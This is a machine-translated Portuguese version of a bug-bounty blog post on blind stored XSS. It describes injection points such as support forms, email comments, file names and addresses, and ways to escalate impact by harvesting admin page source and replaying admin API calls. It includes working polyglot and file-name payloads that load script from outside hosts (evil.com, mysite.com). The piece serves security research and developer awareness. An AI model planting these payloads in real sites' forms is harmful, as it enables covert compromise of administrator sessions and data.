Caça ao bug, XSS às cegas e truques da Fox


As raposas sabem muito sobre a caça :)

Muitos provavelmente já ouviram falar do BugBounty , uma busca por vulnerabilidades de recompensas e histórias relacionadas a ele. Como um dos “caçadores de bugs”, comecei minha jornada há pouco mais de um ano no site HackerOne . Durante esse tempo, consegui aprender muito sobre os diferentes tipos de vulnerabilidades, ganhar muita experiência e agora gostaria de compartilhar isso com a comunidade.

Neste artigo, quero falar sobre um tipo de vulnerabilidade, como scripts entre sites cegos ou scripts entre sites armazenados ocultos, se traduzidos para o russo. Convido você a conhecer o gato, se você estiver interessado em tais tópicos ou quiser melhorar a segurança do seu aplicativo.

Muitos aplicativos da web têm um painel administrativo ou suas outras variações que permitem controlar o conteúdo do site, gerenciar dados do usuário e executar muitas outras ações privilegiadas. O portal administrativo pode ser protegido pelo acesso a um pool específico de endereços IP, cookies somente HTTP e, é claro, autorização.

No entanto, todos esses mecanismos de proteção podem ser contornados se o conteúdo digitado pelo usuário for malicioso e o aplicativo não limpar adequadamente as informações enviadas pelo usuário.

Ferramentas para uso


Primeiro, vamos nos familiarizar com as ferramentas que nos permitirão explorar com êxito o Blind-XSS descoberto. Difere de outras vulnerabilidades pelo método de exploração. Ao enviar uma mensagem maliciosa, não sabemos se o JavaScript foi integrado com êxito nas páginas HTML ou não. O código malicioso será executado somente quando o administrador visitar a página com esse código. Caso contrário, talvez nunca saibamos se o ataque foi bem-sucedido ou não.

Todos os tipos de estruturas criadas exclusivamente para injeção de Blind-XSS podem nos fornecer assistência operacional:

  1. XSS Hunter ( GitHub ) - um dos frameworks mais populares
  2. ezXSS
  3. bXSS (com notificação por SMS)
  4. elScripto

E muitos outros. Cada estrutura possui suas próprias peculiaridades; portanto, cada caçador de bagagens escolhe a que for mais conveniente e adequada às suas necessidades. Como uso o XSS Hunter , mais adiante neste artigo, apresentarei seus recursos e como usá-los para obter o melhor resultado.

Depois de configurar a estrutura, você preparará cargas úteis que podem ser aplicadas em diferentes situações, mas os poliglotas são mais frequentemente usados, por exemplo:

\-->'></style></div></article></script><script/src=//evil.com> 

Ponto de entrada ou ponto de injeção


Todos os pontos de entrada são unidos pelo fato de que as informações inseridas neles não são devidamente eliminadas do código JavaScript e permitem a implementação desse código na estrutura HTML da página administrativa. Na minha opinião, o ponto de entrada mais popular é uma mensagem de suporte.

Considere aqueles que eu conheço.

1. Formulário de Feedback

Como regra, neste formulário existem campos como:

  1. posição
  2. mensagem
  3. às vezes, um endereço de email, caso o administrador queira entrar em contato com o autor da mensagem.

Cada um desses campos pode estar vulnerável à injeção de JavaScript. Mas há um pequeno truque aqui:
Se você vir o campo Endereço de email, não se apresse em desistir, se ele não aceitar nada além da estrutura de Email. Tente: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
As aspas e colchetes são uma parte válida do endereço de email e são comentários de acordo com as especificações da RFC 2822 (seção 3.4.1), RFC 3696 (seção 3).

Metade das minhas injeções bem-sucedidas é apenas a injeção através do comentário do endereço de e-mail. Na maioria das vezes, a verificação no lado do cliente (navegador) ainda não permitirá o uso desse email. Mas sabemos que verificar o cliente não significa nada para nós:

Brevemente sobre validação do lado do cliente e hackers


Portanto, o endereço de email precisa ser substituído apenas no processo de envio de uma solicitação usando qualquer aplicativo proxy (por exemplo, Burp Suite).

2. Formulários para reclamações / sugestões / avaliações

Certamente você costumava ver a frase "O artigo é útil?" (Avalie este artigo) em portais de suporte ou com documentação. Ao clicar no botão "Não", eles podem nos oferecer uma mensagem do motivo pelo qual o artigo não foi útil e o que pode ser melhorado. Você provavelmente já entendeu onde estaria nossa carga útil nesse caso.

Portanto, se você vê ofertas semelhantes para enviar feedback, definitivamente deve prestar atenção a elas e enviar uma carga útil, que no final pode ser bem-sucedida.

3. Registro de conta

Sim, ao registrar uma conta, é extremamente improvável que nossa conta seja vista em algum lugar do painel administrativo; no entanto, ao inserir a carga no endereço de e-mail, podemos usá-lo posteriormente para enviar mensagens para o site como um usuário registrado. Ao mesmo tempo, os próprios formulários exibirão automaticamente nosso endereço no painel administrativo, apesar de não ter sido solicitado diretamente ao enviar qualquer formulário ou mensagem.

4. Suporte ao Cliente

O ponto de entrada mais óbvio e sendo explorado com mais frequência. Cada formulário para solicitar serviços de suporte pode ser muito diferente um do outro, portanto, preste atenção em todos os campos nos quais você pode inserir uma carga útil.

A capacidade de baixar arquivos merece atenção especial. Outro truque é que a carga útil pode ser deixada no nome do arquivo, por exemplo:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

E deixe o mesmo script no próprio arquivo (obrigado a w9w por encontrar).

5. Endereço de entrega / empresa / domicílio

O endereço também é frequentemente usado ao interagir com o usuário, quando ele precisa enviar algo no caso de um serviço de entrega, uma loja, reserva de hotel ou outro aplicativo que processa endereços.

O campo de endereço é bastante comum e, algumas vezes, a validação ocorre no nível de um endereço existente. Portanto, pode ser necessário inserir o endereço real no início e indicá-lo no mapa, e já no processo de envio da solicitação, adicionar a carga útil ao endereço válido para ignorar as verificações do aplicativo.

6. APIs ocultas

Às vezes, ao aprender o código JavaScript, você pode encontrar pontos de extremidade da API que não estão em uso no aplicativo. Pode ser, por exemplo, o envio de informações sobre erros, depuração e similares. É possível formar uma solicitação com base em JS e enviar uma mensagem com uma carga útil.

Mecanismos de proteção pós-operação e desvio


Tendo recebido um feedback da operação bem-sucedida do Blind-XSS, muitos têm pressa em relatar uma descoberta ao programa com recompensas pelas vulnerabilidades encontradas. No entanto, na maioria das vezes, essas vulnerabilidades recebem alta prioridade, mas não são críticas. Temos várias maneiras de provar o dano crítico de uma possível exploração de uma vulnerabilidade.

1. Aprendendo os painéis HTML de origem

A cada operação bem-sucedida, o XSS Hunter nos envia informações como:

1. Cookie do usuário
2. Usuário agente do usuário
3. endereço IP do usuário
4. URL da página na qual o script é executado
5. código fonte HTML da página
6. captura de tela da página
7. Indicador



Como regra, não há cookies de sessão, pois eles têm o atributo Somente HTTP. Nesse caso, o mais útil para nós é o código fonte da página HTML. Nele, entre outras coisas, você pode encontrar JavaScript. Este código permite entender como as solicitações são geradas para executar ações administrativas. É necessário estudá-lo e tentar executar essas ações criando uma solicitação manualmente no Burp Suite ou em outro software similar.

No meu caso, o painel de administração estava no mesmo domínio de onde eu enviei a carga, portanto, consegui abrir todos os scripts sem injeção adicional (embora isso possa ser feito em uma injeção). Para minha surpresa, embora o acesso às seções administrativas ainda exigisse autorização, consegui enviar solicitações às APIs administrativas e gerenciar o conteúdo como se eu já fosse um administrador.

Infelizmente, o programa no qual eu pude detectar essas vulnerabilidades é privado e não posso nomeá-lo ou mostrar com mais detalhes o processo de extração de solicitações do código JS.

Como resultado dessa descoberta, consegui obter $ 2500 em vez de $ 1000 como se fosse uma vulnerabilidade de alta prioridade.

2. Obtenha mais informações.

Mesmo se o painel administrativo estiver atrás do firewall e basicamente não houver maneira de acessá-lo, você ainda poderá obter mais informações e aumentar a criticidade da vulnerabilidade descoberta.

O XSS Hunter permite adicionar seu próprio código JS à carga e especificar páginas adicionais para recuperar:



Após a primeira operação bem-sucedida, você pode extrair páginas adicionais que foram obtidas no curso do estudo do código-fonte da página HTML. Da mesma maneira, você pode executar solicitações com privilégios de administrador, mas isso requer um código JS mais complexo.

Além disso, acho que você pode adicionar uma extração HTML recursiva de outras páginas do painel administrativo, nas quais informações confidenciais possam aparecer, mas ainda não precisei recorrer a isso.

Conclusão


  1. Aconselho os desenvolvedores a verificar todos os seus campos relacionados aos endereços de email, já que muitas vezes dependem de uma verificação padrão da estrutura do endereço de email, sem levar em conta que é possível gerar um endereço completamente válido, mas com código malicioso.
  2. Preste atenção nos campos menores relacionados ao feedback. Eles são diferentes e é impossível listar todos eles.
  3. Não tenha preguiça de extrair informações adicionais da página HTML recebida, com uma alta probabilidade de que possa aumentar sua recompensa às vezes.
  4. Tente provar um impacto crítico para cada um dos seus Blind-XSS.

Proponho que assine meu canal no Telegram (apenas em russo) e também uma conta no Twitter (em inglês), pois é difícil coletar material para artigos tão grandes, mas posso publicar pequenos truques e descobertas com bastante frequência.

Os links podem ser encontrados abaixo.

Tenha uma boa caçada!

Source: https://habr.com/ru/post/pt470818/


All Articles